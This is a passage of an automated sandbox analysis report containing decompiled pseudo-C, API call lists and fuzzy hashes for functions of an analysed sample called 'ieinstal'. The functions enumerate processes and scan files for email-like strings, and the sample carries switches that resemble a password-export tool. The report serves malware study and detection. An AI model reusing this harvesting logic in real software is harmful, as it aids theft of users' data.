                                                                                                                            • malloc.MSVCRT ref: 004186FE
                                                                                                                            • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00418711
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00418716
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0041872A
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00418749
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$FullNamePath$malloc$Version
                                                                                                                            • String ID: |A
                                                                                                                            • API String ID: 4233704886-1717621600
                                                                                                                            • Opcode ID: 120bca0df7996060a851268a0569be7b62d1400f73c55317773b03da867e4687
                                                                                                                            • Instruction ID: f8a1ad7f3386c3a0ca67e8408a701755caa4d882ef8d2f884b3bc60851bd4b4d
                                                                                                                            • Opcode Fuzzy Hash: 120bca0df7996060a851268a0569be7b62d1400f73c55317773b03da867e4687
                                                                                                                            • Instruction Fuzzy Hash: F5217432900118BFEF11BFA6DC46CDFBB79DF41368B22006FF804A2161DA799E91995D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004125F8 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmp
                                                                                                                            • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                                                                                                                            • API String ID: 2081463915-1959339147
                                                                                                                            • Opcode ID: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                                                                                                                            • Instruction ID: 8733bd8b557f913067c5021fbfe18d0583d9fd94efe92a6f612d034962822ca0
                                                                                                                            • Opcode Fuzzy Hash: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                                                                                                                            • Instruction Fuzzy Hash: A401843328931228FA2538663D07F834F48CB52BBBF32405BF800D81C6FE8C4565605E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004138C1 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E004138C1() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t5;

				if( *0x45da84 != 0) {
					return _t1;
				}
				_t2 = E0040A804("psapi.dll");
				_t5 = _t2;
				if(_t5 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t5, "GetModuleBaseNameW");
					 *0x45aa8c = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t5, "EnumProcessModules");
						 *0x45aa84 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t5, "GetModuleFileNameExW");
							 *0x45aa7c = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t5, "EnumProcesses");
								 *0x45acb0 = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t5, "GetModuleInformation");
									 *0x45aa88 = _t2;
									if(_t2 != 0) {
										 *0x45da84 = 1;
									}
								}
							}
						}
					}
					if( *0x45da84 == 0) {
						_t2 = FreeLibrary(_t5);
					}
					goto L10;
				}
			}






                                                                                                                            0x004138c8
                                                                                                                            0x00413958
                                                                                                                            0x00413958
                                                                                                                            0x004138d4
                                                                                                                            0x004138d9
                                                                                                                            0x004138de
                                                                                                                            0x00413957
                                                                                                                            0x00000000
                                                                                                                            0x004138e0
                                                                                                                            0x004138ed
                                                                                                                            0x004138f1
                                                                                                                            0x004138f6
                                                                                                                            0x004138fe
                                                                                                                            0x00413902
                                                                                                                            0x00413907
                                                                                                                            0x0041390f
                                                                                                                            0x00413913
                                                                                                                            0x00413918
                                                                                                                            0x00413920
                                                                                                                            0x00413924
                                                                                                                            0x00413929
                                                                                                                            0x00413931
                                                                                                                            0x00413935
                                                                                                                            0x0041393a
                                                                                                                            0x0041393c
                                                                                                                            0x0041393c
                                                                                                                            0x0041393a
                                                                                                                            0x00413929
                                                                                                                            0x00413918
                                                                                                                            0x00413907
                                                                                                                            0x0041394e
                                                                                                                            0x00413951
                                                                                                                            0x00413951
                                                                                                                            0x00000000
                                                                                                                            0x0041394e

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004138ED
                                                                                                                            • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004138FE
                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 0041390F
                                                                                                                            • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00413920
                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00413931
                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00413951
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                                                            • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                                            • API String ID: 2012295524-70141382
                                                                                                                            • Opcode ID: de34bece31b7142a998ab6ccb1b4abbedb6e98f3c738f5240e3b00242a7e4309
                                                                                                                            • Instruction ID: 1ed0e205fb1d3ca6b4a3c81c58fecbd4dea9624ac3f9f6029147382c5f000437
                                                                                                                            • Opcode Fuzzy Hash: de34bece31b7142a998ab6ccb1b4abbedb6e98f3c738f5240e3b00242a7e4309
                                                                                                                            • Instruction Fuzzy Hash: 7301B5B1905312DAD7705F31AE40B6B2FA45B81FA7B10003BEA00D1286DBFCC8C5DA6E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041383D Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0041383D() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x45da80 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleW("kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x45aa80 = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x45aa78 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x45aa74 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x45a858 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x45a85c = _t2;
								if(_t2 != 0) {
									 *0x45da80 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}






                                                                                                                            0x00413844
                                                                                                                            0x004138c0
                                                                                                                            0x004138c0
                                                                                                                            0x0041384c
                                                                                                                            0x00413852
                                                                                                                            0x00413856
                                                                                                                            0x004138bf
                                                                                                                            0x00000000
                                                                                                                            0x004138bf
                                                                                                                            0x00413865
                                                                                                                            0x00413869
                                                                                                                            0x0041386e
                                                                                                                            0x00413876
                                                                                                                            0x0041387a
                                                                                                                            0x0041387f
                                                                                                                            0x00413887
                                                                                                                            0x0041388b
                                                                                                                            0x00413890
                                                                                                                            0x00413898
                                                                                                                            0x0041389c
                                                                                                                            0x004138a1
                                                                                                                            0x004138a9
                                                                                                                            0x004138ad
                                                                                                                            0x004138b2
                                                                                                                            0x004138b4
                                                                                                                            0x004138b4
                                                                                                                            0x004138b2
                                                                                                                            0x004138a1
                                                                                                                            0x00413890
                                                                                                                            0x0041387f
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • GetModuleHandleW.KERNEL32(kernel32.dll,?,0041339D), ref: 0041384C
                                                                                                                            • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00413865
                                                                                                                            • GetProcAddress.KERNEL32(00000000,Module32First), ref: 00413876
                                                                                                                            • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00413887
                                                                                                                            • GetProcAddress.KERNEL32(00000000,Process32First), ref: 00413898
                                                                                                                            • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 004138A9
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$HandleModule
                                                                                                                            • String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
                                                                                                                            • API String ID: 667068680-3953557276
                                                                                                                            • Opcode ID: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                                                                                                                            • Instruction ID: ced2a49a11d8a5ad7e856d80fa96ce31c371be68fc2c17877008b9264e9f9212
                                                                                                                            • Opcode Fuzzy Hash: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                                                                                                                            • Instruction Fuzzy Hash: 58F08631900317A9E7206F357D41B672AE45B86F83714017BFC04D12D9DB7CE98A9B6D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 88%
                                                                                                                            			E00412172(intOrPtr __ecx, intOrPtr _a4, short _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __esi;
				signed int _t54;
				intOrPtr _t59;
				intOrPtr _t61;
				signed int _t64;
				signed int _t70;
				signed int _t82;
				signed int _t103;
				void* _t108;
				intOrPtr _t110;
				signed char _t113;
				void* _t116;
				signed int _t119;
				intOrPtr _t122;
				struct HDC__* _t124;
				intOrPtr* _t126;
				void** _t128;
				void* _t133;

				_t108 = _a12;
				_t122 = __ecx;
				_t110 = _a4;
				_t133 = _t110 - 0x402;
				_v8 = __ecx;
				if(_t133 > 0) {
					_t54 = _t110 - 0x415;
					__eflags = _t54;
					if(__eflags == 0) {
						E0041104E(__ecx, __eflags);
						L29:
						__eflags = 0;
						E00410D9B(0, _t122, 0);
						L30:
						_t59 =  *((intOrPtr*)(_t122 + 0x698));
						if(_t59 != 0 && _a4 == _t59) {
							_t113 =  *(_t108 + 0xc);
							_t61 =  *((intOrPtr*)(_t122 + 0x694));
							if((_t113 & 0x00000008) == 0) {
								__eflags = _t113 & 0x00000040;
								if((_t113 & 0x00000040) != 0) {
									 *0x45d33c =  *0x45d33c & 0x00000000;
									__eflags =  *0x45d33c;
									E0040E9E9(_t61);
								}
							} else {
								E00410786(_t108, _t61);
							}
						}
						return E00401A61(_t122, _a4, _a8, _t108);
					}
					_t64 = _t54 - 1;
					__eflags = _t64;
					if(_t64 == 0) {
						_t126 = __ecx + 0x694;
						 *((intOrPtr*)( *((intOrPtr*)( *_t126)) + 0x70))();
						 *((intOrPtr*)( *((intOrPtr*)( *_t126)) + 0x88))(0);
						L20:
						E00410FB4(_t122);
						goto L29;
					}
					_t70 = _t64 - 0x12;
					__eflags = _t70;
					if(_t70 == 0) {
						E0040E9E9( *((intOrPtr*)(__ecx + 0x694)));
					} else {
						__eflags = _t70 == 0x41;
						if(_t70 == 0x41) {
							memcpy( *((intOrPtr*)(__ecx + 0x690)) + 0xa80, __ecx + 0x10f0, 0x2008);
							E00411929(_t122);
						}
					}
					goto L30;
				}
				if(_t133 == 0) {
					_t34 = __ecx + 0x278;
					 *_t34 =  *(__ecx + 0x278) & 0x00000000;
					__eflags =  *_t34;
					goto L20;
				}
				if(_t110 == 6) {
					__eflags = _a8 - 1;
					if(_a8 == 1) {
						PostMessageW( *(__ecx + 0x208), 0x428, 0, 0);
					}
					goto L30;
				}
				if(_t110 == 0xc) {
					_t116 = 8;
					_t82 = E004097F7(_t108, E0040A7BE(_t116));
					__eflags = _t82;
					if(_t82 == 0) {
						goto L30;
					}
					return 0;
				}
				if(_t110 == 0x20) {
					__eflags = _a8 -  *((intOrPtr*)(__ecx + 0x214));
					if(_a8 !=  *((intOrPtr*)(__ecx + 0x214))) {
						goto L30;
					}
					SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
					return 1;
				}
				if(_t110 == 0x2b) {
					__eflags =  *((intOrPtr*)(_t108 + 0x14)) -  *((intOrPtr*)(__ecx + 0x214));
					if( *((intOrPtr*)(_t108 + 0x14)) !=  *((intOrPtr*)(__ecx + 0x214))) {
						goto L30;
					}
					_t128 = __ecx + 0x68c;
					__eflags =  *_t128;
					if( *_t128 == 0) {
						_t124 = GetDC(0);
						_t103 = GetDeviceCaps(_t124, 0x5a) * 0xfffffff6;
						_t119 = 0x48;
						asm("cdq");
						__eflags = _t103 % _t119;
						_a12 = _t103 / _t119;
						ReleaseDC(0, _t124);
						0x444722(_a12);
					}
					SetBkMode( *(_t108 + 0x18), 1);
					SetTextColor( *(_t108 + 0x18), 0xff0000);
					_a12 = SelectObject( *(_t108 + 0x18),  *_t128);
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v28 = 0x14;
					_v20 = 5;
					DrawTextExW( *(_t108 + 0x18), _v8 + 0x48a, 0xffffffff, _t108 + 0x1c, 0x24,  &_v28);
					SelectObject( *(_t108 + 0x18), _a12);
					_t122 = _v8;
				} else {
					if(_t110 == 0x7b) {
						_t120 = _a8;
						if(_a8 ==  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x694)) + 0x294))) {
							E00411FC6(_t120, __ecx);
						}
					}
				}
			}


























                                                                                                                            0x00412179
                                                                                                                            0x0041217e
                                                                                                                            0x00412180
                                                                                                                            0x00412188
                                                                                                                            0x0041218a
                                                                                                                            0x0041218d
                                                                                                                            0x00412321
                                                                                                                            0x00412321
                                                                                                                            0x00412326
                                                                                                                            0x00412388
                                                                                                                            0x0041238d
                                                                                                                            0x0041238d
                                                                                                                            0x00412391
                                                                                                                            0x00412396
                                                                                                                            0x00412396
                                                                                                                            0x0041239e
                                                                                                                            0x004123a5
                                                                                                                            0x004123ab
                                                                                                                            0x004123b1
                                                                                                                            0x004123bc
                                                                                                                            0x004123bf
                                                                                                                            0x004123c1
                                                                                                                            0x004123c1
                                                                                                                            0x004123c8
                                                                                                                            0x004123c8
                                                                                                                            0x004123b3
                                                                                                                            0x004123b5
                                                                                                                            0x004123b5
                                                                                                                            0x004123b1
                                                                                                                            0x00000000
                                                                                                                            0x004123d6
                                                                                                                            0x00412328
                                                                                                                            0x00412328
                                                                                                                            0x00412329
                                                                                                                            0x0041236b
                                                                                                                            0x00412375
                                                                                                                            0x0041237e
                                                                                                                            0x00412316
                                                                                                                            0x00412318
                                                                                                                            0x00000000
                                                                                                                            0x00412318
                                                                                                                            0x0041232b
                                                                                                                            0x0041232b
                                                                                                                            0x0041232e
                                                                                                                            0x00412364
                                                                                                                            0x00412330
                                                                                                                            0x00412330
                                                                                                                            0x00412333
                                                                                                                            0x0041234d
                                                                                                                            0x00412357
                                                                                                                            0x00412357
                                                                                                                            0x00412333
                                                                                                                            0x00000000
                                                                                                                            0x0041232e
                                                                                                                            0x00412193
                                                                                                                            0x0041230f
                                                                                                                            0x0041230f
                                                                                                                            0x0041230f
                                                                                                                            0x00000000
                                                                                                                            0x0041230f
                                                                                                                            0x0041219c
                                                                                                                            0x004122ea
                                                                                                                            0x004122ef
                                                                                                                            0x00412304
                                                                                                                            0x00412304
                                                                                                                            0x00000000
                                                                                                                            0x004122ef
                                                                                                                            0x004121a5
                                                                                                                            0x004122cc
                                                                                                                            0x004122d4
                                                                                                                            0x004122d9
                                                                                                                            0x004122dd
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004122e3
                                                                                                                            0x004121ae
                                                                                                                            0x0041229e
                                                                                                                            0x004122a4
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004122bc
                                                                                                                            0x00000000
                                                                                                                            0x004122c4
                                                                                                                            0x004121b7
                                                                                                                            0x004121e6
                                                                                                                            0x004121ec
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004121f2
                                                                                                                            0x004121f8
                                                                                                                            0x004121fb
                                                                                                                            0x00412205
                                                                                                                            0x00412210
                                                                                                                            0x00412215
                                                                                                                            0x00412216
                                                                                                                            0x00412217
                                                                                                                            0x0041221c
                                                                                                                            0x0041221f
                                                                                                                            0x00412228
                                                                                                                            0x00412228
                                                                                                                            0x00412232
                                                                                                                            0x00412240
                                                                                                                            0x00412253
                                                                                                                            0x0041225b
                                                                                                                            0x0041225c
                                                                                                                            0x0041225d
                                                                                                                            0x0041225e
                                                                                                                            0x00412277
                                                                                                                            0x0041227e
                                                                                                                            0x00412285
                                                                                                                            0x00412291
                                                                                                                            0x00412293
                                                                                                                            0x004121b9
                                                                                                                            0x004121bc
                                                                                                                            0x004121c8
                                                                                                                            0x004121d1
                                                                                                                            0x004121d9
                                                                                                                            0x004121d9
                                                                                                                            0x004121d1
                                                                                                                            0x004121bc

                                                                                                                            APIs
                                                                                                                            • GetDC.USER32(00000000), ref: 004121FF
                                                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                                                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                                                                                                                            • SetBkMode.GDI32(?,00000001), ref: 00412232
                                                                                                                            • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                                                                                                                            • SelectObject.GDI32(?,?), ref: 00412251
                                                                                                                            • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                                                                                                                            • SelectObject.GDI32(00000014,00000005), ref: 00412291
                                                                                                                              • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                                                                                                                              • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                                                                                                                              • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                                                                                                                            • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                                                                                                                            • SetCursor.USER32(00000000), ref: 004122BC
                                                                                                                            • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                                                                                                                            • memcpy.MSVCRT ref: 0041234D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1700100422-0
                                                                                                                            • Opcode ID: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                                                            • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                                                                                                                            • Opcode Fuzzy Hash: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                                                            • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E004111C1(void* __esi) {
				struct HDWP__* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				struct tagRECT _v40;
				intOrPtr _v44;
				struct tagPOINT _v56;
				void* _t53;
				int _t99;
				void* _t101;

				_t101 = __esi;
				if( *((intOrPtr*)(__esi + 0x240)) != 0) {
					GetClientRect( *(__esi + 0x208),  &_v40);
					GetWindowRect( *(__esi + 0x214),  &_v56);
					_v20 = _v44 - _v56.y + 1;
					GetWindowRect( *(__esi + 0x218),  &_v56);
					_v16 = _v40.right - _v40.left;
					_t99 = _v44 - _v56.y + 1;
					_v24 = _v40.bottom - _v40.top;
					_v12 = 0xdc;
					if( *(__esi + 0x6b8) != 0) {
						GetWindowRect(GetDlgItem( *(__esi + 0x6b8), 0x40d),  &_v56);
						MapWindowPoints(0,  *(__esi + 0x6b8),  &_v56, 2);
						_v12 = _v44 + 6;
					}
					if( *((intOrPtr*)( *((intOrPtr*)(_t101 + 0x690)) + 0xa7c)) == 0) {
						_v12 = _v12 & 0x00000000;
					}
					_v8 = BeginDeferWindowPos(4);
					DeferWindowPos(_v8,  *(_t101 + 0x218), 0, 0, 0, _v16, _t99, 4);
					DeferWindowPos(_v8,  *(_t101 + 0x214), 0, 0, _v40.bottom - _v20 + 1, _v16, _v20, 6);
					DeferWindowPos(_v8,  *( *((intOrPtr*)(_t101 + 0x694)) + 0x294), 0, 0, _v12 + _t99, _v16, _v24 - _v12 - _t99 - _v20, 4);
					DeferWindowPos(_v8,  *(_t101 + 0x6b8), 0, 0, _t99, _v16, _v12, 4);
					return EndDeferWindowPos(_v8);
				}
				return _t53;
			}














                                                                                                                            0x004111c1
                                                                                                                            0x004111ce
                                                                                                                            0x004111e0
                                                                                                                            0x004111f6
                                                                                                                            0x004111ff
                                                                                                                            0x0041120c
                                                                                                                            0x0041121a
                                                                                                                            0x00411223
                                                                                                                            0x0041122b
                                                                                                                            0x0041122e
                                                                                                                            0x00411235
                                                                                                                            0x0041124d
                                                                                                                            0x0041125d
                                                                                                                            0x00411269
                                                                                                                            0x00411269
                                                                                                                            0x00411279
                                                                                                                            0x0041127b
                                                                                                                            0x0041127b
                                                                                                                            0x00411293
                                                                                                                            0x004112a4
                                                                                                                            0x004112c3
                                                                                                                            0x004112ee
                                                                                                                            0x00411306
                                                                                                                            0x00000000
                                                                                                                            0x00411312
                                                                                                                            0x00411314

                                                                                                                            APIs
                                                                                                                            • GetClientRect.USER32(?,?), ref: 004111E0
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 004111F6
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 0041120C
                                                                                                                            • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                                                                                                                            • GetWindowRect.USER32(00000000), ref: 0041124D
                                                                                                                            • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                                                                                                                            • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                                                                                                                            • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                                                                                                                            • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                                                                                                                            • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                                                                                                                            • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                                                                                                                            • EndDeferWindowPos.USER32(?), ref: 0041130B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Window$Defer$Rect$BeginClientItemPoints
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 552707033-0
                                                                                                                            • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                                                            • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                                                                                                                            • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                                                            • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C084 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 73%
                                                                                                                            			E0040C084(void* __ecx, intOrPtr _a4, WCHAR* _a8) {
				void _v8;
				long _v12;
				signed int _v16;
				char _v20;
				char _v124;
				char _v148;
				void _v8544;
				char _v8596;
				void _v25490;
				char _v25492;
				void* __edi;
				void* __esi;
				int _t31;
				char* _t48;
				void* _t60;
				void* _t64;
				char* _t69;
				int _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t60 = __ecx;
				0x44db70();
				_t31 = CreateFileW(_a8, 0x80000000, 3, 0, 3, 0, 0);
				_t64 = _t31;
				if(_t64 != 0xffffffff) {
					E0040A32D(_t64, 0,  &_v148, 0x20);
					_t73 = _t72 + 0x10;
					if(_v124 != 0x34) {
						_v12 = GetFileSize(_t64, 0);
						_a8 = 0x5000;
						if(_v12 > 0x5000) {
							do {
								if(E0040BFF3(_t60, _t64,  &_v8596, _t64, _a8,  &_v20,  &_v16) == 0) {
									_a8 =  &(_a8[0x40]);
								} else {
									memcpy( &_v8,  &_v8544, 4);
									_t73 = _t73 + 0xc;
									if(_v8 > 0x100) {
										_v8 = 0x68;
									}
									_t69 = strchr(_t71 + _v8 - 0x2190, 0x40);
									_pop(_t60);
									if(_t69 != 0) {
										_t70 = _t69 + 1;
										_t48 = strchr(_t70, 0x3f);
										_pop(_t60);
										if(_t48 != 0) {
											 *_t48 = 0;
										}
										0x4466be();
										_v20 = 0x41fe;
										_v25492 = 0;
										memset( &_v25490, 0, _t70);
										E0040A71B(_t70,  &_v25492, 0x2000);
										_t73 = _t73 + 0x18;
										E0040A8AB(_a4 + 8,  &_v25492, 0);
									}
									_a8 = _a8 + (_v16 << 7);
								}
							} while (_a8 < _v12);
						}
					}
					_t31 = CloseHandle(_t64);
				}
				return _t31;
			}
























                                                                                                                            0x0040c084
                                                                                                                            0x0040c08c
                                                                                                                            0x0040c0a4
                                                                                                                            0x0040c0aa
                                                                                                                            0x0040c0af
                                                                                                                            0x0040c0c0
                                                                                                                            0x0040c0c5
                                                                                                                            0x0040c0cc
                                                                                                                            0x0040c0da
                                                                                                                            0x0040c0e5
                                                                                                                            0x0040c0e8
                                                                                                                            0x0040c0ef
                                                                                                                            0x0040c108
                                                                                                                            0x0040c1b2
                                                                                                                            0x0040c10e
                                                                                                                            0x0040c11b
                                                                                                                            0x0040c120
                                                                                                                            0x0040c12a
                                                                                                                            0x0040c12c
                                                                                                                            0x0040c12c
                                                                                                                            0x0040c145
                                                                                                                            0x0040c14a
                                                                                                                            0x0040c14b
                                                                                                                            0x0040c14d
                                                                                                                            0x0040c151
                                                                                                                            0x0040c159
                                                                                                                            0x0040c15a
                                                                                                                            0x0040c15c
                                                                                                                            0x0040c15c
                                                                                                                            0x0040c15f
                                                                                                                            0x0040c164
                                                                                                                            0x0040c173
                                                                                                                            0x0040c17a
                                                                                                                            0x0040c18c
                                                                                                                            0x0040c191
                                                                                                                            0x0040c1a2
                                                                                                                            0x0040c1a2
                                                                                                                            0x0040c1ad
                                                                                                                            0x0040c1ad
                                                                                                                            0x0040c1bc
                                                                                                                            0x0040c1c5
                                                                                                                            0x0040c0e8
                                                                                                                            0x0040c1c7
                                                                                                                            0x0040c1c7
                                                                                                                            0x0040c1d0

                                                                                                                            APIs
                                                                                                                            • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?,0040C255,?,?,*.*,0040C2BF,00000000), ref: 0040C0A4
